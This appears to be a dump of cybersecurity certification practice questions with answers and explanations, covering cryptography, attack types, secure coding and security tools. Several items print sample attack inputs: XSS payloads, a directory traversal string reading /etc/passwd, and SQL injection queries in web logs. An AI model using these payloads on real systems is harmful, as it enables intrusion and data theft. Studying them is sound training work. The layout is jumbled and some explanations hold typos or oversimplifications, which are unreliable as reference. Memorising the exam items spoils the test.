Which of the following tools would you use to audit a multi-cloud environment? A. OpenVAS B. ScoutSuite C. Prowler D. Pacu	B. ScoutSuite Explanation OBJ-8.1: ScoutSuite is used to audit instances and policies created on multi-cloud platforms. Prowler is a cloud auditing tool, but it can only be used on AWS. Pacu is an exploitation framework that is used to test the security configurations of an AWS account. OpenVAS is a general-purpose vulnerability scanner but does not deal with cloud-specific issues.

Which of the following cryptographic algorithms is classified as asymmetric?

A. AES
B. RC4
C. RSA
D. DES

C. RSA

Explanation
OBJ-9.1: RSA (Rivest-Shamir-Adleman) was one of the first public-key cryptosystems and is widely used for secure data transmission. As a public-key cryptosystem, it relies on an asymmetric algorithm. AES, RC4, and DES are all symmetric algorithms.

Sarah is working at a startup that is focused on making secure banking apps for smartphones. Her company needs to select an asymmetric encryption algorithm to encrypt the data being used by the app. Due to the need for high security of the banking data, the company needs to ensure that whatever encryption they use is considered strong, but also need to minimize the processing power required since it will be running on a mobile device with lower computing power. Which algorithm should Sarah choose to provide the same level of high encryption strength with a lower overall key length?

A. Diffie-Hellman
B. RSA
C. ECC
D. Twofish

C. ECC

Explanation
OBJ-9.1: Elliptic curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields. One of the main benefits of ECC over non-ECC cryptography is an application that can achieve the same level of security provided by non-ECC cryptography while using a shorter key length. For example, an ECC algorithm using a 256-bit key length is just as strong as an RSA or Diffie-Hellman algorithm using a 3072-bit key length.

Which of the following hashing algorithms results in a 256-bit fixed output?

A. MD-5
B. SHA-1
C. NTLM
D. SHA-2

D. SHA-2

Explanation
OBJ-9.1: SHA-2 creates a 256-bit fixed output. SHA-1 creates a 160-bit fixed output. NTLM creates a 128-bit fixed output. MD-5 creates a 128-bit fixed output.

Your company, HackMe Incorporated, is a US-based company specializing in conducting penetration tests for large corporations. Big Corp has recently asked you to perform a penetration test of its offices in Saudi Arabia and Iran. The penetration test would include both remote attacks and on on-site USB key drop attack. Which of the following MUST you investigate BEFORE you begin to negotiate the contract for this engagement?

A. Support resources available to your team
B. Export restrictions that may apply to your tools
C. Type of threat actor your team will emulate
D. Budget allocate to the penetration test

B. Export restrictions that may apply to your tools

Explanation
OBJ-9.1: The United States has export restrictions that govern the shipment or transfer of software, technology, services, and other controlled items outside of the United States borders. The Export Administration Regulations (EAR) is regulated by the Bureau of Industry and Security (BIS) within the U.S. Department of Commerce. The EAR may control the export, re-export, or transfer of items such as software, hardware, algorithms, and other technical items you may require for your on-site penetration test. Exports can include the transfer of a physical product from inside the US to an external location and other actions. The simple act of releasing technology to someone other than a US citizen or lawful permanent resident within the United States is deemed an export. This includes making available software for electronic transmission that can be received by individuals outside the US.

Which of the following actions should be done FIRST after forensically imaging a hard drive for evidence in an investigation?

A. Digitally sign the image file to provide non-repudiation of the collection
B. Encrypt the source drive to ensure an attacker cannot modify its contents
C. Create a hash digest of the source drive and the image file to ensure they match
D. Encrypt the image file to ensure it maintains integrity

C. Create a hash digest of the source drive and the image file to ensure they match

Explanation
OBJ-9.1: The first thing that must be done after acquiring a forensic disk image is to create a hash digest of the source drive and destination image file to ensure they match. A critical step in the presentation of evidence will be to prove that analysis has been performed on an identical image to the data present on the physical media and that neither data set has been tampered with. The standard means of proving this is to create a cryptographic hash or fingerprint of the disk contents and any derivative images made from it. When comparing hash values, you need to use the same algorithm used to create the reference value. While encrypting the image files is a good security practice to maintain

	the data's confidentiality, it does not provide data integrity like a hash digest does. Once imaged, the source drive should not be altered or encrypted. Digitally signing the image file could serve the function of non-repudiation, but it is an uncommon practice and not required to be performed.
Which of the following provides origin authenticity through source authentication, data integrity through hash functions, and confidentiality through encryption protection for IP packets? A. IPSEC B. SHA C. DES D. CRC	A. IPSEC Explanation OBJ-9.1: Internet Protocol Security (IPSec) is a network protocol that encrypts and authenticates data sent over a network. All other choices offer encryption or authentication.
Which of the following hashing algorithms results in a 160-bit fixed output? A. MD-5 B. SHA-1 C. NTLM D. SHA-2	B. SHA-1 Explanation OBJ-9.1: SHA-1 creates a 160-bit fixed output. SHA-2 creates a 256-bit fixed output. NTLM creates a 128-bit fixed output. MD-5 creates a 128-bit fixed output.
Your organization has recently been the target of a spearphishing campaign. You have identified the website associated with the link in the spearphishing emails and want to block it. Which of the following techniques would be the MOST effective in this situation? A. Containment B. Application blacklist C. URL filter D. Quarantine	C. URL filter Explanation OBJ-4.2: A URL filter can be used to block a website based on its website address or universal resource locator (URL). This is not a containment technique but a blocking and filtering technique. Quarantine would be used against an infected machine, and it would not be effective against trying to block access to a given website across the entire organization. An application blacklist is used to prevent an application from running, so this cannot be used to block a single malicious or suspicious website or URL.
An attacker sends an email out to 100,000 random email addresses. In the email the attacker sent, it claims that "Your Bank of America account is locked out. Please click here to reset your password." Which of the following attack types is being used? A. Phishing B. Whaling C. Spear phishing D. Vishing	A. Phishing Explanation OBJ-4.2: Phishing relies on sending out a large volume of email to a broad set of recipients in the hopes of collecting the desired action or information. Spearphishing involves targeting specific individuals using well-crafted emails to gather information from a victim.
Which of the following technologies combines the functionality of a firewall, malware scanner, and other security appliances into one device? A. IPS B. Syslog C. UTM D. IDS	C. UTM Explanation OBJ-4.5: A Unified Threat Management (UTM) appliance is one that enforces a variety of security-related measures, combining the work of a firewall, malware scanner, and intrusion detection/prevention. A UTM centralizes the threat management service, providing simpler configuration and reporting than isolated applications spread across several servers or devices.
A disgruntled employee executes a man-in-the-middle attack on the company network. Layer 2 traffic destined for the gateway is redirected to the employee's computer. What type of attack is this an example of? A. ARP cache poisoning B. IP spoofing C. Amplified DNS attack D. Evil twin	A. ARP cache poisoning Explanation OBJ-4.1: ARP poisoning reroutes data and allows an attacker to intercept packets of data intended for another recipient. ARP attacks can be sent from any host on the local area network, and the goal is to associate the host so that any traffic meant for something else will instead go directly to the attacker's PC.
A cybersecurity analyst from BigCorp contacts your company to notify them that several of your computers were seen attempting	

to create a denial of service condition against their servers. They believe your company has become infected with malware, and those machines were part of a larger botnet. Which of the following BEST describes your company's infected computers? A. Monsters B. Zero-day C. Zombie D. Bugs	C. Zombie Explanation OBJ-4.3: A zombie is a computer connected to the internet that has been compromised by a hacker, computer virus, or trojan horse program and can be used to perform malicious tasks of one sort or another under remote direction. Botnets of zombie computers are often used to spread email spam and launch denial-of-service attacks (DoS attacks).
The network administrator noticed that the border router has high network capacity loading during non-working hours. This load is causing web services outages. Which of the following is the MOST likely cause of the issue? A. Evil twin B. Session hijacking C. Distributed DoS D. ARP cache poisoning	C. Distributed DoS Explanation OBJ-4.3: Distributed Denial of Service (DDoS) is when a computer or multiple computers are compromised due to a network breach or virus attack. This kind of attack can impact the network and cause outages or slowness if your workstation is affected and acting as part of a botnet.
Your network is currently under attack from multiple hosts outside of the network. Which type of attack is most likely occurring? A. DoS B. Spoofing C. DDoS D. Wardriving	C. DDoS Explanation OBJ-4.3: A Distributed Denial of Service (DDoS) attack occurs when multiple systems flood the bandwidth or resources of a targeted system or network. DoS and Spoofing attacks originate from a single host, while wardriving is focused on the surveillance and reconnaissance of wireless networks.
A cybersecurity analyst has received an alert that sensors continuously observe well-known call home messages at their network boundary. Still, the organization's proxy firewall is properly configured to successfully drop the messages before leaving the network. Which of the following is MOST likely the cause of the call home messages being sent? A. An attacker is performing reconnaissance the organization's workstations B. An infected workstation is attempting to reach a command and control server C. A malicious insider is trying to exfiltrate information to a remote network D. Malware is running on a company workstation or server	B. An infected workstation is attempting to reach a command and control server Explanation OBJ-4.3: A call home message is an indicator of compromise known as beaconing. Beaconing usually occurs after a stage 1 malware program has been implanted on an organization's workstation or server, but that isn't the most correct answer to this question. Instead, beaconing indicates that a workstation or server is infected and tries to communicate with the attacker's command and control server. This beaconing will continue until the infected system (workstation or server) is found and cleared of the malware or until the botnet gives the infected host further instructions to perform (such as to attack). "Malware is running on a company workstation or server" is incorrect because we do not have positive verification of that based on this scenario. A beacon does not have to be malware. For example, it can simply be a single ping packet or DNS request being sent out every day at a certain time using the Windows task scheduler. Be careful on the exam to answer the question being asked and choose the "most" accurate answer. Since the call home signal is coming from the internal network and attempting to connect to an external server, it cannot be evidence of an attacker performing reconnaissance on your workstations. Also, nothing in the question is indicative of an insider threat trying to exfiltrate information since a call home message is generally minimal in size and not large enough to exfiltrate data.
Which type of threat actor can accidentally or inadvertently cause a security incident in your organization? A. Insider threat B. Hacktivist	A. Insider threat Explanation OBJ-4.2: An insider threat is a type of threat actor assigned privileges on the system that cause an intentional or unintentional incident. Insider threats can be used as unwitting pawns of external organizations or make crucial mistakes that can open up exploitable security vulnerabilities. Hacktivists, Organized Crimes, and advanced persistent threats (APT) entities do not acciden-

C. Organized Crime D. APT	tally or unwittingly target organizations. Instead, their actions are deliberate in nature. A hacktivist is an attacker that is motivated by a social issue or political cause. Organized crime is a type of threat actor that uses hacking and computer fraud for commercial gain. An advanced persistent threat (APT) is a type of threat actor who can obtain, maintain, and diversify access to network systems using exploits and malware.
You have been asked to recommend a capability to monitor all of the traffic entering and leaving the corporate network's default gateway. Additionally, the company's CIO requests to block certain content types before it leaves the network based on operational priorities. Which of the following solution should you recommend to meet these requirements? A. Configure IP filtering on the internal and external interfaces of the router B. Install a NIPS on the internal interface and a firewall on the external interface of the router C. Install a firewall on the router's internal interface and a NIDS on the router's external interface D. Installation of a NIPS on both the internal and external interfaces of the router	B. Install a NIPS on the internal interface and a firewall on the external interface of the router Explanation OBJ-4.5: Due to the requirements provided, you should install a NIPS on the gateway router's internal interface and a firewall on the external interface of the gateway router. The firewall on the external interface will allow the bulk of the malicious inbound traffic to be filtered before reaching the network. Then, the NIPS can be used to inspect the traffic entering the network and provide protection for the network using signature-based or behavior-based analysis. A NIPS is less powerful than a firewall and could easily "fail open" if it is overcome with traffic by being placed on the external interface. The NIPS installed on the internal interface would also allow various content types to be quickly blocked using custom signatures developed by the security team. We wouldn't want to place the NIPS on the external interface in the correct choice for the same reasons. We also wouldn't choose to install a NIPS on both the internal and external connections. IP filtering on both interfaces of the router will not provide the ability to monitor the traffic or to block traffic based on content type. Finally, we would not want to rely on a NIDS on the external interface alone since it can only monitor and not provide the content blocking capabilities needed.
You are planning an engagement with a new client. Which target type should be selected to simulate an insider threat? A. Internal B. Third-party hosted C. Off-site D. External	A. Internal Explanation OBJ-4.2: An internal target type means that assets can be accessed from within the organization. This can either be physically or logically from within the network, and it best simulates an insider threat. This target type can also be used to simulate an external hacker who has gained credentials on the network, such as through the use of a spearphishing attack.
Which of the following types of attacks involves changing the system's MAC address before it connects to a wireless network? A. Zombie B. Spoofing C. Botnet D. DDoS	B. Spoofing Explanation OBJ-4.1: Spoofing is an attack where the attacker disguises their identity. Examples of spoofing include changing their MAC address (MAC spoofing), their IP address (IP spoofing), or their email address (most commonly used during a phishing campaign).
You are planning to exploit a network-based vulnerability against an organization as part of a penetration test. You attempted to connect your laptop to the network jack in their conference room. You found yourself in the highly restricted VLAN that the organization allows its visitors to connect to when conducting presentations. This VLAN only allows you to access the internet, not the internal network. You decide you need to conduct VLAN hopping. Which of the following methods would be MOST likely to succeed? A. Spoof the MAC address of the room's VOIP phone to your laptop B. Poison or overflow the MAC table of the switch C. Connect a wireless access point to the conference room's network jack	B. Poison or overflow the MAC table of the switch Explanation OBJ-4.1: VLAN hopping is the act of illegally moving from one VLAN to another. A VLAN (virtual LAN) is a logical grouping of switch ports extending across any number of switches on an Ethernet network. One of the most common VLAN hopping methods is to overflow the MAC table on a vulnerable switch. When this occurs, the switch defaults to operating as a hub and repeats all frames being received through all of its ports. This "fail open" method ensures the network can continue to operate, but it is a security risk that can be exploited by the penetration tester.

D. Harvest the user credentials of an employee and use those to connect	
During her login session, Sally is asked by the system for a code sent to her via text (SMS) message. Which of the following concerns should she raise to her organization's AAA services manager? A. SMS should be encrypted to be secure B. SMS messages may be accessible to attackers via VoIP or other systems C. SMS should be paired with a third factor D. SMS is a costly method of providing a second factor of authentication	B. SMS messages may be accessible to attackers via VoIP or other systems Explanation OBJ-4.1: NIST's SP 800-63-3 recommends that SMS messages be deprecated as a means of delivering a second factor for multi-factor authentication because they may be accessible to attackers. SMS is unable to be encrypted (at least without adding additional applications to phones). A third factor is typically not a user-friendly recommendation and would be better handled by replacing SMS with the proposed third factor. SMS is not a costly method since it can be deployed for less than $20/month at scale.
Which of the following threats can policies, procedures, and end-user training help to effectively mitigate? A. Zero-day attacks B. Attempted DDoS attacks C. Man-in-the-middle attacks D. Social engineering attempts	D. Social engineering attempts Explanation OBJ-4.2: Social engineering attempts occur when someone uses something like: phishing (they are attempting to receive your personal information and look legitimate), pretexting (basically they give you a scenario and expect you to react quickly), tailgating (following too closely into a door they aren't allowed in), and many other situations. Proper policies, procedures, and educating your users on the dangers posed by social engineering could prevent them from becoming a victim of a phishing attack, as well as many other attacks.
You are conducting a static code analysis of a Java program. Consider the following code snippet: ========== String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, custname); ResultSet results = pstmt.executeQuery( ); ========= Based on the code above, what type of secure coding practice is being used? A. Input validation B. Session management C. Authentication D. Parameterized queries	D. Parameterized queries Explanation OBJ-5.3: A parameterized query (also known as a prepared statement) is a means of pre-compiling a SQL statement so that all you need to supply are the "parameters" (think "variables") that need to be inserted into the statement for it to be executed. It's commonly used as a means of preventing SQL injection attacks. This code snippet is an example of a Java implementation of a parameterized query. Input validation would involve the proper testing of any input supplied by a user to an application. Since the first line takes the custname input without any validation, this is not an example of the input validation secure coding practice. Session management refers to the process of securely handling multiple requests to a web-based application or service from a single user or entity. Authentication is the act of proving an assertion, such as the identity of a computer system user. This code snippet is neither a form of session management nor authentication. You should not fully understand what this code is doing for the exam, but you should understand what it is not doing. There is nothing in the code that indicates session management or receiving usernames and passwords. Therefore, we can rule out session management and authentication. This leaves us with input validation and parameterized queries as our best options. Based on the code, we see the word query multiple times, which should be a hint that the answer is a parameterized query even if you can't read this Java code fully.
While conducting a penetration test of a web application, you enter the following URL, http://test.diontraining.com/?param=<*data*:text/html;base64,PHNjcmlwdD5hbGVydCgnSSBsb3ZlIERpb24gVHJhaW5pbmcnK-	B. XSS Explanation OBJ-5.2: This is an example of a URL-based XSS (cross-site scripting) attack. A cross-site scripting attack uses a specially crafted URL that includes attack code that will cause information that users enter into their web browser to be sent to the attacker. In this example, everything from ?param onward is part of the attack. You can see

Twvc2NyaXB0Pg==. What type of exploit are you attempting? A. SQL injection B. XSS C. XML injection D. Password spraying	the base64 encoded string of PHNjcmlwdD5hbGVydCgnSS-Bsb3ZlIERpb24gVHJhaW5pbmcnKTwvc2NyaXB0Pg== being used. While you could not convert it during the exam without a base64 decoder, you should be able to tell that it is not a SQL injection nor an XML injection based on your studies. It is also not an attempt to conduct password spraying by logging into different usernames with the same password. So, by process of elimination, you can determine this is an XSS attack. If you did have a base64 decoder, you would have found that the parameter being passed would translate to <*script*>alert('I love Dion Training')</*script*>, which is a simple method to cause your web browser to create a popup that displays the text "I love Dion Training." If you attempt to load this URL in your browser, it may or may not function depending on your browser's security.
An insurance company has developed a new web application to allow its customers to choose and apply for an insurance plan. You have been asked to help perform a security review of the new web application. You have discovered that the application was developed in ASP and used MSSQL for its backend database. You have been able to locate an application's search form and introduced the following code in the search input field: ========== IMG SRC=*vbscript*:*msgbox*("Vulnerable_to_Attack");> originalAttribute="SRC" originalPath="*vbscript*:*msgbox*("Vulnerable_to_Attack ");>" ========== When you click submit on the search form, your web browser returns a pop-up window that displays Vulnerable_to_Attack. Which of the following vulnerabilities did you discover in the web application? A. Cross-site request forgery B. Command injection C. Cross-site scripting D. SQL injection	C. Cross-site scripting Explanation OBJ-5.2: This is a form of Cross-Site Scripting (XSS). Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. Attackers may use a cross-site scripting vulnerability to bypass access controls such as the same-origin policy. Cross-site request forgery (CSRF or XSRF) is a malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. There are many ways in which a malicious website can transmit commands, such as specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests can all work without the user's interaction or even knowledge. SQL injection is a code injection technique used to attack data-driven applications. Malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. Command injection is an attack in which the goal is to execute arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell.
Your company has just announced a change to an "API first" model of software development. As a cybersecurity analyst, you are immediately concerned about the possibility of an insecure deserialization vulnerability in this model. Which of the following is the primary basis for an attack against this vulnerability? A. Lack of input validation could allow for a SQL attack B. Insufficient logging and monitoring makes it impossible to detect when insecure deserialization vulnerabilities are exploited C. Accepting serialized objects from untrusted sources or the use of serialized non-primitive data may lead to remote code execution D. Lack of input validation could lead to a cross-site scripting attack	C. Accepting serialized objects from untrusted sources or the use of serialized non-primitive data may lead to remote code execution Explanation OBJ-5.2: When implementing an API, objects in memory from one computer can be serialized and passed to another for deserialization. If the API user is malicious, they may create a fictitious object, appropriately serialize it, and then send it through the API for execution. The only model for defeating this approach is to allow the API to be exposed to trusted sources or to not serialize anything with potentially executable source code (i.e., non-primitive data types). Cross-site scripting and SQL attacks are not a concern for an API first model. While stuffiest logging and monitoring would prevent an analyst from detecting if a deserialization vulnerability was exploited, these alone would not be the basis for an attack against deserialization.
You are conducting a code review of a program and observe the following calculation of 0xffffffff + 1 was attempted, but the result was returned as 0x0000000. Based on this, what type of exploit could be created against this program? A. SQL injection	C. Integer overflow attack Explanation OBJ-5.2: Integer overflows and other integer manipulation vulnerabilities frequently result in buffer overflows. An integer overflow occurs when an arithmetic operation results in a large number to be stored in the space allocated for it. Integers are stored in 32 bits on the x86 architecture; therefore, if an integer operation results in a number greater than 0xffffffff, an integer overflow occurs,

B. Impersonation C. Integer overflow attack D. Password spraying	as was the case in this example. SQL injection is an attack that injects a database query into the input data directed at a server by accessing the application's client-side. Password spraying is a type of brute force attack in which multiple user accounts are tested with a dictionary of common passwords. Impersonation is the act of pretending to be another person or system for fraud.
Which of the following attacks would most likely be used to create an inadvertent disclosure of information from an organization's database? A. SQL injection B. Cross-site scripting C. Buffer overflow D. Denial of service	A. SQL injection Explanation OBJ-5.3: A SQL injection poses the most direct and more impactful threat to an organization's database. A SQL injection could allow the attacker to execute remote commands on the database server and lead to sensitive information disclosure. A buffer overflow attack attempts to overwrite the memory buffer to send additional data into adjacent memory locations. A buffer overflow attack might target a database server, but it isn't intended to disclose information directly. Instead, a buffer overflow attack may be used to gain initial access to a server and allow for other malicious code running. A denial of service targets the availability of the information by attempting to take the server offline. A cross-site scripting attack typically is focused on the user, not the server or database.
You are conducting a review of a VPN device's logs and found the following URL being accessed: ========== https://sslvpn/dana-na/../diontraining/html5acc/teach/../../../../../../etc/passwd?/diontraining/html5acc/teach/ ========== Based upon this log entry alone, which of the following most likely occurred? A. The/etc/passwd file was downloaded using a directory traversal attack B. A XML injection attack caused the VPN server to return the password file C. The /etc/passwd file was downloaded using a directory traversal attack if input validation of the URL was not conducted D. An SQL injection attack caused the VPN server to return the password file	C. The /etc/passwd file was downloaded using a directory traversal attack if input validation of the URL was not conducted Explanation OBJ-5.2: The exact string used here was the attack string used in CVE-2019-11510 to compromise thousands of VPN servers worldwide using a directory traversal approach. However, its presence in the logs does not prove that the attack was successful, only that it was attempted. To verify that the attacker successfully downloaded the/etc/passwd file, a cybersecurity analyst would require additional information and correlation. If the server utilizes proper input validation on URL entries, then the directory traversal would be prevented. As no SQL or XML language elements are present, this is definitely not an SQL or XML injection attack.
You are analyzing the logs of a web server. Consider the following log sample: ========== 84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)" 84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-"	B. SQL injection Explanation OBJ-5.3: SQL injection is a code injection technique that is used to attack data-driven applications. SQL injections are conducted by inserting malicious SQL statements into an entry field for execution. For example, an attacker may try to dump the contents of the database by using this technique. A common SQL injection technique is to insert an always true statement, such as 1 == 1, or in this example, 7 == 7. In this case, the SQL injection is evidenced by the SQL statements being sent to the web application hosted by WordPress. XML Injection is an attack technique used to manipulate or compromise an XML application or service's logic. The injection of unintended XML content and/or structures into an XML message can alter the application's intended logic. Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in a browser side script, to a different end-user. A directory traversal attack aims to access files and directories that are stored outside the

"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)" 84.55.41	webroot folder. By manipulating variables or URLs that reference files with "dot-dot-slash (../)" sequences and its variations or using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files.
Which of the following is exploited by an SQL injection to give the attacker access to a database? A. Operating system B. Web application C. Database server D. Firewall	B. Web application Explanation OBJ-5.3: SQL injections target the data stored in enterprise databases by exploiting flaws in client-facing applications. These vulnerabilities being exploited are most often found in web applications. The database server or operating system would normally be exploited by a remote code execution, a buffer overflow, or another type of server-side attack. The firewall would not be subject to an SQL injection.
A cybersecurity analyst is preparing to run a vulnerability scan on a dedicated Apache server that will be moved into a DMZ. Which of the following vulnerability scans is most likely to provide valuable information to the analyst? A. Web application vulnerability scan B. Database vulnerability scan C. Port scan D. Network vulnerability scan	A. Web application vulnerability scan Explanation OBJ-5.1: Since Apache is being run on the scanned server, this indicates a web server. Therefore, a web application vulnerability scan would be the most likely to provide valuable information. A network vulnerability scan or port scan can provide valuable information against any network-enabled server. Since an Apache server doesn't contain a database by default, running a database vulnerability scan is not likely to provide any valuable information to the analyst.
You are working as part of a DevSecOps team at Dion Training on a new practice exam web application. Which of the following tools should you utilize to scan the web application's database to determine if it is vulnerable to injection flaws? A. Theharvester B. SQLmap C. Kismet D. Dirbuster	B. SQLmap Explanation OBJ-5.3: SQLmap is an open-source database scanner that searches for and exploits SQL injection flaws. This tool is included by default within Kali Linux. Dirbuster, Kismet, and Theharvester are not tools for conducting SQL vulnerability scans. Dirbuster is a brute force tool included with Kali Linux that exposes directories and file names on web and application servers. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux that monitors wireless activity, identifies device types, and captures raw packets for later password cracking. Theharvester is an open-source intelligence tool (OSINT) that gathers information such as email addresses, subdomains, hostnames, open ports, and banners from publicly available sources.
Which of the following secure coding best practices ensures a character like < is translated into the &lt string when writing to an HTML page? A. Session management B. Output encoding C. Error handling D. Input validation	B. Output encoding Explanation OBJ-5.1: Output encoding involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example, translating the < character into the < string when writing to an HTML page. Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering the malfunction of various downstream components. Improper error handling can introduce various security problems where detailed internal error messages such as stack traces, database dumps, and error codes are displayed to an attacker. The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID.

A penetration tester wants to install an integrated platform for testing web applications. The software should allow them to capture, analyze, and manipulate HTTP traffic. Which of the following tools should they install? A. SET B. Burp suite C. Kismet D. Proxychains	B. Burp suite Explanation OBJ-5.2: Burp Suite is an integrated platform included for testing web applications' security by acting as a local proxy so that the attacker can capture, analyze, and manipulate HTTP traffic. SET (Social Engineer Toolkit) is an open-source penetration testing framework included with Kali Linux that supports social engineering to penetrate a network or system. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux. Proxychains is a command-line tool that enables pen testers to mask their identity and/or source IP address by sending messages through intermediary or proxy servers. Censys is a search engine that returns information about the types of devices connected to the Internet.